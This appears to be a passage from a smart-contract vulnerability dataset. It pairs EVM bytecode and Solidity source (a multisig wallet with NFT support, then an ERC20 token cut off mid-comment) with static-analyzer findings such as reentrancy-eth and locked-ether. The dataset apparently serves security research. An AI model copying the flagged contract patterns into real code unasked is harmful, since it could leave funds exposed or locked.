5b505b61100a838383611342565b505050565b600081848411156110335760405162461bcd60e51b81526004016103f891906116e2565b5060006110408486611a3a565b95945050505050565b600082611058575060006103c8565b60006110648385611a51565b9050826110718583611a70565b146110c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f8565b9392505050565b60006110c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061134d565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610469573d6000803e3d6000fd5b60006008548211156111b25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f8565b60006111bc61137b565b90506110c883826110cf565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121057611210611973565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611269573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128d91906119ba565b816001815181106112a0576112a0611973565b6001600160a01b039283166020918202929092010152600d546112c69130911684610ae1565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ff908590600090869030904290600401611a92565b600060405180830381600087803b15801561131957600080fd5b505af115801561132d573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61100a83838361139e565b6000818361136e5760405162461bcd60e51b81526004016103f891906116e2565b5060006110408486611a70565b6000806000611388611495565b909250905061139782826110cf565b9250505090565b6000806000806000806113b0876114d7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113e29087611534565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114119086611576565b6001600160a01b038916600090815260026020526040902055611433816115d5565b61143d848361161f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148291815260200190565b60405180910390a3505050505050505050565b600854600090819068056bc75e2d631000006114b182826110cf565b8210156114ce5750506008549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006114f48a600a54600b54611643565b925092509250600061150461137b565b905060008060006115178e878787611692565b919e509c509a509598509396509194505050505091939550919395565b60006110c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100f565b6000806115838385611a22565b9050838110156110c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f8565b60006115df61137b565b905060006115ed8383611049565b3060009081526002602052604090205490915061160a9082611576565b30600090815260026020526040902055505050565b60085461162c9083611534565b60085560095461163c9082611576565b6009555050565b600080808061165760646105b88989611049565b9050600061166a60646105b88a89611049565b905060006116828261167c8b86611534565b90611534565b9992985090965090945050505050565b60008080806116a18886611049565b905060006116af8887611049565b905060006116bd8888611049565b905060006116cf8261167c8686611534565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561170f578581018301518582016040015282016116f3565b81811115611721576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105ee57600080fd5b803561175781611737565b919050565b6000806040838503121561176f57600080fd5b823561177a81611737565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117b157600080fd5b823567ffffffffffffffff808211156117c957600080fd5b818501915085601f8301126117dd57600080fd5b8135818111156117ef576117ef611788565b8060051b604051601f19603f8301168101818110858211171561181457611814611788565b60405291825284820192508381018501918883111561183257600080fd5b938501935b82851015611857576118488561174c565b84529385019392850192611837565b98975050505050505050565b60008060006060848603121561187857600080fd5b833561188381611737565b9250602084013561189381611737565b929592945050506040919091013590565b6000602082840312156118b657600080fd5b81356110c881611737565b80151581146105ee57600080fd5b6000602082840312156118e157600080fd5b81356110c8816118c1565b6000602082840312156118fe57600080fd5b5035919050565b6000806040838503121561191857600080fd5b823561192381611737565b9150602083013561193381611737565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119b3576119b3611989565b5060010190565b6000602082840312156119cc57600080fd5b81516110c881611737565b6000806000606084860312156119ec57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a1757600080fd5b81516110c8816118c1565b60008219821115611a3557611a35611989565b500190565b600082821015611a4c57611a4c611989565b500390565b6000816000190483118215151615611a6b57611a6b611989565b500290565b600082611a8d57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ae25784516001600160a01b031683529383019391830191600101611abd565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ed2f6b1395520e408cc8a1766827377b2893aaa518bd92ad036506b10187548c64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
462
0x919c8e4434Acf76d489efd0A003BA1B5069110c3
// SPDX-License-Identifier: MIT pragma solidity ^0.4.15; /* MultiSigWallet that can receive NFT */ contract MultiSigWalletWithNFT721Support { /* * Events */ event Confirmation(address indexed sender, uint256 indexed transactionId); event Revocation(address indexed sender, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId); event Deposit(address indexed sender, uint256 value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint256 required); /* * Constants */ uint256 public constant MAX_OWNER_COUNT = 50; /* * Storage */ mapping(uint256 => Transaction) public transactions; mapping(uint256 => mapping(address => bool)) public confirmations; mapping(address => bool) public isOwner; address[] public owners; uint256 public required; uint256 public transactionCount; struct Transaction { address destination; uint256 value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint256 transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint256 transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint256 transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint256 transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint256 ownerCount, uint256 _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } function onERC721Received( address, address, uint256, bytes memory ) public returns (bytes4) { bytes4 b = hex"150b7a02"; return b; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWalletWithNFT721Support(address[] _owners, uint256 _required) public validRequirement(_owners.length, _required) { for (uint256 i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint256 i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint256 i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction( address destination, uint256 value, bytes data ) public returns (uint256 transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint256 transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call( address destination, uint256 value, uint256 dataLength, bytes data ) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint256 transactionId) public constant returns (bool) { uint256 count = 0; for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction( address destination, uint256 value, bytes data ) internal notNull(destination) returns (uint256 transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint256 transactionId) public constant returns (uint256 count) { for (uint256 i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint256 count) { for (uint256 i = 0; i < transactionCount; i++) if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint256 transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint256 count = 0; uint256 i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public constant returns (uint256[] _transactionIds) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610182578063150b7a02146101ef578063173825d9146102f457806320ea8d86146103375780632f54bf6e146103645780633411c81c146103bf57806354741525146104245780637065cb4814610473578063784547a7146104b65780638b51d13f146104fb5780639ace38c21461053c578063a0e67e2b14610627578063a8abe69a14610693578063b5dc40c314610737578063b77bf600146107b9578063ba51a6df146107e4578063c01a8c8414610811578063c64274741461083e578063d74f8edd146108e5578063dc8452cd14610910578063e20056e61461093b578063ee22610b1461099e575b6000341115610180573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018e57600080fd5b506101ad600480360381019080803590602001909291905050506109cb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101fb57600080fd5b506102a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610a09565b60405180827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b34801561030057600080fd5b50610335600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a3b565b005b34801561034357600080fd5b5061036260048036038101908080359060200190929190505050610cd4565b005b34801561037057600080fd5b506103a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e7c565b604051808215151515815260200191505060405180910390f35b3480156103cb57600080fd5b5061040a60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e9c565b604051808215151515815260200191505060405180910390f35b34801561043057600080fd5b5061045d600480360381019080803515159060200190929190803515159060200190929190505050610ecb565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b506104b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5d565b005b3480156104c257600080fd5b506104e160048036038101908080359060200190929190505050611162565b604051808215151515815260200191505060405180910390f35b34801561050757600080fd5b5061052660048036038101908080359060200190929190505050611247565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b5061056760048036038101908080359060200190929190505050611312565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156105e95780820151818401526020810190506105ce565b50505050905090810190601f1680156106165780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561063357600080fd5b5061063c611407565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561067f578082015181840152602081019050610664565b505050509050019250505060405180910390f35b34801561069f57600080fd5b506106e06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611495565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610723578082015181840152602081019050610708565b505050509050019250505060405180910390f35b34801561074357600080fd5b5061076260048036038101908080359060200190929190505050611606565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107a557808201518184015260208101905061078a565b505050509050019250505060405180910390f35b3480156107c557600080fd5b506107ce611843565b6040518082815260200191505060405180910390f35b3480156107f057600080fd5b5061080f60048036038101908080359060200190929190505050611849565b005b34801561081d57600080fd5b5061083c60048036038101908080359060200190929190505050611903565b005b34801561084a57600080fd5b506108cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611ae0565b6040518082815260200191505060405180910390f35b3480156108f157600080fd5b506108fa611aff565b6040518082815260200191505060405180910390f35b34801561091c57600080fd5b50610925611b04565b6040518082815260200191505060405180910390f35b34801561094757600080fd5b5061099c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b0a565b005b3480156109aa57600080fd5b506109c960048036038101908080359060200190929190505050611e1f565b005b6003818154811015156109da57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000807f150b7a0200000000000000000000000000000000000000000000000000000000905080915050949350505050565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a7757600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ad057600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610c55578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b6357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c48576003600160038054905003815481101515610bc157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610bfb57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c55565b8180600101925050610b2d565b6001600381818054905003915081610c6d9190612240565b506003805490506004541115610c8c57610c8b600380549050611849565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d2d57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d9857600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610dc857600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610f5657838015610f0a575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610f3d5750828015610f3c575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610f49576001820191505b8080600101915050610ed3565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f9757600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610ff157600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415151561101857600080fd5b600160038054905001600454603282111580156110355750818111155b8015611042575060008114155b801561104f575060008214155b151561105a57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b60038054905081101561123f576001600085815260200190815260200160002060006003838154811015156111a057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561121f576001820191505b6004548214156112325760019250611240565b808060010191505061116f565b5b5050919050565b600080600090505b60038054905081101561130c5760016000848152602001908152602001600020600060038381548110151561128057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112ff576001820191505b808060010191505061124f565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113ea5780601f106113bf576101008083540402835291602001916113ea565b820191906000526020600020905b8154815290600101906020018083116113cd57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561148b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611441575b5050505050905090565b6060806000806005546040519080825280602002602001820160405280156114cc5781602001602082028038833980820191505090505b50925060009150600090505b6005548110156115785785801561150f575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806115425750848015611541575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561156b5780838381518110151561155657fe5b90602001906020020181815250506001820191505b80806001019150506114d8565b8787036040519080825280602002602001820160405280156115a95781602001602082028038833980820191505090505b5093508790505b868110156115fb5782818151811015156115c657fe5b90602001906020020151848983038151811015156115e057fe5b906020019060200201818152505080806001019150506115b0565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156116405781602001602082028038833980820191505090505b50925060009150600090505b60038054905081101561178d5760016000868152602001908152602001600020600060038381548110151561167d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117805760038181548110151561170457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561173d57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b808060010191505061164c565b816040519080825280602002602001820160405280156117bc5781602001602082028038833980820191505090505b509350600090505b8181101561183b5782818151811015156117da57fe5b9060200190602002015184828151811015156117f257fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506117c4565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188357600080fd5b600380549050816032821115801561189b5750818111155b80156118a8575060008114155b80156118b5575060008214155b15156118c057600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561195c57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156119b857600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a2457600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611ad985611e1f565b5050505050565b6000611aed8484846120c7565b9050611af881611903565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b4657600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611b9f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611bf957600080fd5b600092505b600380549050831015611ce2578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611c3157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611cd55783600384815481101515611c8857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ce2565b8280600101935050611bfe565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e7a57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ee557600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611f1557600080fd5b611f1e86611162565b156120bf57600080878152602001908152602001600020945060018560030160006101000a81548160ff02191690831515021790555061203c8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120325780601f1061200757610100808354040283529160200191612032565b820191906000526020600020905b81548152906001019060200180831161201557829003601f168201915b5050505050612219565b1561207357857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a26120be565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff16141515156120f057600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906121af92919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b8154818355818111156122675781836000526020600020918201910161226691906122ec565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a723058200b0fdc08865f8bb0d7d8bf47e2ced0ff42d95da8e4248ec1d5011035230181110029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
463
0xea97b1f8f69817200c0cd7acd0ff39fbb1040baa
pragma solidity ^0.5.0; /***************************************************************************** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } /***************************************************************************** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of 